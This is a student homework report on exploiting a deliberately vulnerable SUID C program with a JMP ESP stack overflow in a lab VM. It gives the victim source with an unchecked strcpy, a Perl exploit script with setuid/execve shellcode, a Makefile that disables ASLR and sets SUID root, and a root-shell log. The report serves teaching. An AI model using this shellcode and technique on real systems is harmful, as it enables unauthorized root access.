

ENPM691 Homework 06: JMP ESP Gadget Exploitation for SUID Privilege Escalation

Nelay Sharma
University of Maryland
UID: 122295414
10/29/2025

Abstract—This homework demonstrates a code-injection technique using the JMP ESP exploitation method. The technique involves overwriting the saved return address on the stack to redirect execution to a gadget containing a `jmp *%esp` instruction, which then transfers control to injected shellcode positioned immediately after the return address on the stack. This approach bypasses the need to predict the specific buffer address by using a fixed gadget location within the binary itself.

The method is implemented using three components: `victim_jmpesp.c`, `exploit_jmpesp.pl`, and a `Makefile` that automates compilation, SUID setup, and exploitation. The finalized results include root shell acquisition, payload hexdump, disassembly of the vulnerable function and JMP ESP gadget, and verification of privilege escalation from a standard user to UID 0 (root). [1]

I. INTRODUCTION

The purpose of this homework is to demonstrate how the C call stack can be manipulated to execute injected machine code by reproducing a JMP ESP buffer-overflow. Unlike other methods (i.e., return-to-stack using direct buffer addresses, return-to-BSS segment exploitation, return via EAX register indirection), the JMP ESP technique exploits a fixed gadget containing a `jmp *%esp` instruction within the binary itself. When the vulnerable function returns, execution is redirected to this gadget, which then jumps to the stack pointer (ESP), landing directly on the attacker-controlled shellcode placed after the overwritten return address. In short, the JMP ESP method leverages existing instruction sequences to bypass buffer address prediction. These exercises illustrate the role of SUID binaries, stack memory organization, and gadget-based techniques in enabling privilege escalation, and why mitigation is necessary for preventing unauthorized privilege escalation and system compromise. [1] [4]

II. METHODOLOGY

A. Environment

All work was done in a Kali Linux virtual machine inside VMware Workstation Pro 17, with 80 GB of storage and 8 GB of memory. Compilation was performed with GCC 14.2.0 (Debian 14.2.0-1) in 32-bit mode using the `-m32` flag, and debugging/analysis was carried out with GDB 16.3. The architecture used was IA-32 (x86). Multilib support was installed to ensure successful `-m32` compilation. A dedicated directory named `hw06` (inside the Kali VM) was created to hold source code, compiled binaries, and analysis outputs. [4]

B. Programs

Three programs were implemented to reproduce the JMP ESP attack: `victim_jmpesp.c`, `exploit_jmpesp.pl`, and a `Makefile`; the `victim_jmpesp` is a minimal vulnerable C program containing both a JMP ESP gadget function and a buffer overflow vulnerability, the `exploit_jmpesp` is a script that generates the exploit payload, while the `Makefile` automates compilation, SUID setup, address discovery, payload generation, and successful exploitation. To ensure consistent compliance flags and accurate reproducible builds, the `Makefile` uses a single canonical CFLAGS entry, so the victim program is compiled with: `-m32 -fno-stack-protector -z execstack -no-pie -fno-pie -g -O0`. Using a `Makefile` helps avoid manual gcc commands (i.e., debug symbols, 32-bit configuration mode, disabled stack-canary mitigations, executable stack, disabled PIE at both compile and link time) and errors that might happen with copy-paste mistakes. [1]

```
sudo chown root:root victim_jmpesp
sudo chmod u+s victim_jmpesp
echo 0 | sudo tee
/proc/sys/kernel/randomize_va_space
```

C. Artifacts

- **Code:** `victim_jmpesp.c`, `exploit_jmpesp.pl`, and `Makefile`.
- **Build / Flags:** `gcc -m32 -fno-stack-protector -z execstack -no-pie -fno-pie -g -O0` (used for compilation).
- **Payload:** `payload_jmpesp` and a `hexdump (xxd payload_jmpesp | head -10)`.
- **Disassembly:** `objdump` output showing the `jmpesp` gadget (`objdump -d victim_jmpesp | grep -A3 "jmpesp"`) and vulnerable function (`objdump -d victim_jmpesp | grep -A15 "<vuln>"`).
- **Privilege verification:** Output from `whoami`, `id`, and `pwd` commands confirming root shell acquisition.
- **System configuration:** ASLR status (`cat /proc/sys/kernel/randomize_va_space`) and SUID verification (`ls -la victim_jmpesp, file victim_jmpesp`).
- **Runtime log:** Terminal output showing successful exploit execution and root privilege escalation.

III. RESULTS

A. Program Execution

After building the victim program and configuring it with SUID permissions, the JMP ESP gadget address 0x08049169 was identified using objdump and converted to little-endian format (69910408).

TABLE I
PAYLOAD HEXDUMP (XXD PAYLOAD_JMPESP | HEAD -10)

Offset	Bytes (hex)	Information
00000000	90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90	NOP sled
00000010	90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90	NOP sled cont.
00000020	90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90	NOP sled cont.
00000030	90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90	NOP sled cont.
00000040	90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90	NOP sled cont.
00000050	90 90 90 90 90 90 90 90 90 90 90 90 69 91 04 08	NOP end; ret addr
00000060	31 c0 31 db b0 17 cd 80 31 c0 50 68 6e 2f 73 68	shellcode: setuid
00000070	68 2f 2f 62 69 89 e3 31 c9 31 d2 b0 0b cd 80	shellcode: execve

The exploit script constructed a 127-byte payload: 92 bytes of NOP sled (`\x90`), 4 bytes containing the gadget address, and 31 bytes of shellcode (`setuid(0)` followed by `execve("/bin/sh")`). Execution via `make test` triggered the overflow, overwriting the saved return address, resulting in control flow hijacking and redirection to the JMP ESP gadget. Upon function return, execution jumped to the JMP ESP gadget, which redirected to the shellcode, successfully spawning a root shell confirmed by the `(#)` prompt. In short, the JMP ESP technique successfully achieved privilege escalation from standard user to root.

B. Assembly Analysis

The JMP ESP gadget at 0x08049169 contains the `jmp *%esp` instruction (opcode `ff e4`), which redirects execution to the stack pointer. The `vuln` function allocates 88 bytes (`sub $0x58,%esp`) and calls `strcpy` without bounds checking. Resulting in the payload only requiring 92 bytes (88 for buffer + 4 for saved EBP) to reach the return address. [2] [4]

TABLE II
KEY DISASSEMBLY: JMP ESP GADGET AND VULNERABLE FUNCTION

Address	Instruction	Note
JMP ESP Gadget		
08049169	<code>jmp *%esp</code>	gadget (opcode <code>ff e4</code>)
Vulnerable Function (vuln)		
08049171	<code>sub \$0x58,%esp</code>	88-byte buffer
0804917e	<code>call strcpy@plt</code>	unsafe copy
08049188	<code>ret</code>	return (hijacked)

C. Verification Output

Successful privilege escalation was confirmed through multiple commands: `whoami` returned `"root"`, `id` returned `uid=0(root)...`, `pwd` returned `/home/kali/hw06`. In addition, system configuration checks verified ASLR was disabled (i.e., `cat /proc/sys/kernel/randomize_va_space` returned 0) with additional SUID configuration via `ls -la` returning

```
-rwsrwxr-x 1 root root 16156 Oct 28 14:49
victim_jmpesp, confirming proper setuid bit and root
ownership.
```

TABLE III
PRIVILEGE ESCALATION VERIFICATION

Command	Output
<code>whoami</code>	<code>root</code>
<code>id</code>	<code>uid=0(root) gid=1000(kali) ...</code>
<code>pwd</code>	<code>/home/kali/hw06</code>
<code>cat .../randomize_va_space</code>	<code>0</code>
<code>ls -la victim_jmpesp</code>	<code>-rwsrwxr-x 1 root root 16156 ...</code>
<code>file victim_jmpesp</code>	<code>setuid ELF 32-bit ...</code>

IV. DISCUSSION AND CONCLUSION

This homework demonstrates a gadget-based stack exploitation technique using the JMP ESP method, verifying injected shellcode can execute successfully with elevated privileges when stack protections are disabled and SUID binaries are exploitable for privilege escalation. The technique involves overwriting saved return addresses with a fixed gadget address (0x08049169) rather than the buffer address itself. When the vulnerable function returns, execution transfers to the gadget containing a `jmp *%esp` instruction, which redirects control to the stack pointer where the attacker's shellcode resides, successfully spawning a root shell. In short, the JMP ESP technique leverages fixed gadget locations to bypass the need for precise buffer address prediction.

From a debugging and security standpoint, this technique highlights how the combination of multiple vulnerabilities—`strcpy`, `-z execstack`, `-fno-stack-protector`, disabled ASLR, and SUID privileges—enables complete system compromise. The gadget based JMP ESP approach shows how attackers can leverage existing code sequences within the target binary rather than relying solely on predicting buffer addresses.

For example, suppose a system administrator utility with SUID root privileges contains a buffer overflow vulnerability in how it processes command-line arguments; An attacker recognizing the JMP ESP vulnerability, would construct a payload that would exploit the buffer overflow vulnerability, allowing the attacker to gain root access, potentially installing backdoors or accessing sensitive system files.

In conclusion, this homework reinforces a fundamental principle of systems programming and computer security: understanding control flow manipulation, stack memory organization, privilege boundaries, and gadget-based exploitation is essential for developing secure software and performing security assessments of legacy systems. [1] [4]

REFERENCES

- [1] ENPM691 Lecture 06, "Intro to Shellcode and Executing It," 2025.
- [2] Linux Foundation, "Special Sections," in *Linux Standard Base Core Specification, Version 1.1*, 2001.
- [3] M. Kerrisk, "elf(5) — Executable and Linkable Format (ELF) file format," *Linux Man Pages*, man7.org, 2024.
- [4] B. W. Kernighan and D. M. Ritchie, *The C Programming Language*, 2nd ed. Prentice Hall, 1988.

APPENDIX A
MAIN SOURCE CODE: VICTIM_JMPESP.C

```
#include <stdio.h>
#include <string.h>

/* ----- Slide 53-54: JMP ESP Gadget Function ----- */
void jmpesp() {
    __asm__("jmp *%esp");
}
/* ----- */

/* ----- Slide 49-50: Vulnerable Function ----- */
void vuln(char *str) {
    char buffer[80];
    strcpy(buffer, str);
}
/* ----- */

int main(int argc, char** argv)
{
    vuln(argv[1]);
    return 0;
}
```

APPENDIX B
MAIN SOURCE CODE: EXPLOIT_JMPESP.PL

```
my $shellcode =
# ----- Slide 65: Required for SUID root shell -----
"\x31\xc0".      # xor    %eax,%eax
"\x31\xdb".      # xor    %ebx,%ebx
"\xb0\x17".      # mov    $0x17,%al      (setuid syscall)
"\xcd\x80".      # int    $0x80
# -----
# ----- Slide 58-59: Standard shell spawn -----
"\x31\xc0".      # xor    %eax,%eax
"\x50".          # push   %eax
"\x68\x6e\x2f\x73\x68". # push   $0x68732f6e    ("n/sh")
"\x68\x2f\x2f\x62\x69". # push   $0x69622f2f    ("//bi")
"\x89\xe3".      # mov    %esp,%ebx      (argv[0])
"\x31\xc9".      # xor    %ecx,%ecx      (argv[])
"\x31\xd2".      # xor    %edx,%edx      (envp[])
"\xb0\x0b".      # mov    $0xb,%al       (execve syscall)
"\xcd\x80";      # int    $0x80
# -----

print "[*] Shellcode size: " . length($shellcode) . " bytes\n";

# ----- Slide 53-57: JMP ESP Technique Address -----
my $retaddr = "\x69\x91\x04\x08"; # 0x08049169 in little-endian
# -----

my $pad = "\x90" x 92;
my $payload = $pad . $retaddr . $shellcode;

print "[+] Payload structure:\n";
print "  NOP sled:      92 bytes (\\x90)\n";
print "  Return addr:    4 bytes (JMP ESP location)\n";
print "  Shellcode:      31 bytes (setuid + execve)\n";
print "  Total size:     " . length($payload) . " bytes\n";
print "\n";

# -----
open(my $fh, '>', 'payload_jmpesp') or die "Cannot create payload file: $!";
binmode($fh);
print $fh $payload;
```

```
close($fh);

print "[+] Payload written to: payload_jmpesp\n";
print "[+] To execute: ./victim_jmpesp \$(cat payload_jmpesp)\n";
print "\n";
print "[!] REMINDER: Program must be SUID root for privilege escalation!\n";
print "[!] Setup: sudo chown root:root victim_jmpesp && sudo chmod u+s victim_jmpesp\n";
```

APPENDIX C

MAKEFILE

```
CC = gcc
CFLAGS = -m32 -fno-stack-protector -z execstack -no-pie -fno-pie -g -O0
TARGET = victim_jmpesp

all: $(TARGET)

$(TARGET): $(TARGET).c
$(CC) $(CFLAGS) -o $(TARGET) $(TARGET).c
@echo "[+] Compiled: $(TARGET)"
@file $(TARGET)

setup:
@echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
@sudo chown root:root $(TARGET)
@sudo chmod u+s $(TARGET)
@ls -la $(TARGET)

find-gadget:
@objdump -d -M intel $(TARGET) | grep -B2 -A2 "jmp.*%esp"

exploit:
@./exploit_jmpesp.pl

test:
@./$(TARGET) \$(cat payload_jmpesp)

clean:
rm -f $(TARGET) payload_jmpesp *.o
```

APPENDIX D

BUILD AND RUN COMMANDS: JMP ESP ADDRESS

```
objdump -d victim_jmpesp | grep -A3 "jmpesp"
```

```
08049166 <jmpesp>:
8049166:    55                push    %ebp
8049167:    89 e5             mov     %esp,%ebp
8049169:    ff e4             jmp     *%esp
```

APPENDIX E

VULNERABLE FUNCTION ANALYSIS

```
objdump -d victim_jmpesp | grep -A15 "<vuln>"
```

```
0804916e <vuln>:
804916e:    55                push    %ebp
804916f:    89 e5             mov     %esp,%ebp
8049171:    83 ec 58          sub     $0x58,%esp
8049174:    83 ec 08          sub     $0x8,%esp
8049177:    ff 75 08          push    0x8(%ebp)
804917a:    8d 45 a8          lea     -0x58(%ebp),%eax
804917d:    50                push    %eax
804917e:    e8 bd fe ff ff   call    8049040 <strcpy@plt>
8049183:    83 c4 10          add     $0x10,%esp
8049186:    90                nop
```

```
8049187:      c9          leave
8049188:      c3          ret
```

APPENDIX F PAYLOAD STRUCTURE

```
xxd payload_jmpesp | head -10
```

```
00000000: 9090 9090 9090 9090 9090 9090 9090 9090 .....
00000010: 9090 9090 9090 9090 9090 9090 9090 9090 .....
00000020: 9090 9090 9090 9090 9090 9090 9090 9090 .....
00000030: 9090 9090 9090 9090 9090 9090 9090 9090 .....
00000040: 9090 9090 9090 9090 9090 9090 9090 9090 .....
00000050: 9090 9090 9090 9090 9090 9090 6991 0408 .....i...
00000060: 31c0 31db b017 cd80 31c0 5068 6e2f 7368 1.1.....1.Phn/sh
00000070: 682f 2f62 6989 e331 c931 d2b0 0bcd 80   h//bi..1.1.....
```

APPENDIX G EXPLOIT EXECUTION

```
make test
#
```

APPENDIX H ROOT PRIVILEGE VERIFICATION

```
whoami
id
pwd
exit

# id
uid=0(root) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),
30(dip),44(video),46(plugdev),100(users),101(netdev),103(scanner),107(bluetooth),125(lpadmin),
133(wireshark),135(kaboxer)
# whoami
root
# pwd
/home/kali/hw06
#
```

APPENDIX I SYSTEM CONFIGURATION COMMAND

```
cat /proc/sys/kernel/randomize_va_space
0
```

APPENDIX J SUID SET COMMAND

```
ls -la victim_jmpesp

-rwsrwxr-x 1 root root 16156 Oct 28 14:49 victim_jmpesp
```

APPENDIX K COMPILER AND DEBUGGER FLAGS

```
CFLAGS = -m32 -fno-stack-protector -z execstack -no-pie -fno-pie -g -O0
```

- -m32: Compile for 32-bit IA-32 architecture.
- -fno-stack-protector: Disable stack canaries so overflows are not detected at runtime.
- -z execstack: Mark the stack as executable so injected shellcode on the stack can run.
- -no-pie: Disable Position Independent Executable (PIE) at link time to stabilize addresses.
- -fno-pie: Disable Position Independent Executable (PIE) at compile time to stabilize addresses.
- -g: Include debugging information for GDB.
- -O0: Disable compiler optimizations.

APPENDIX L

FILES BUILD VERIFICATION

file victim_jmpesp exploit_jmpesp.pl Makefile

victim_jmpesp: setuid ELF 32-bit LSB executable, Intel i386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2,
BuildID[sha1]=bdf323f75ef59840bf9c24cafc9fa10af1a0c06e,
for GNU/Linux 3.2.0, with debug_info, not stripped

exploit_jmpesp.pl: Perl script text executable

Makefile: makefile script, ASCII text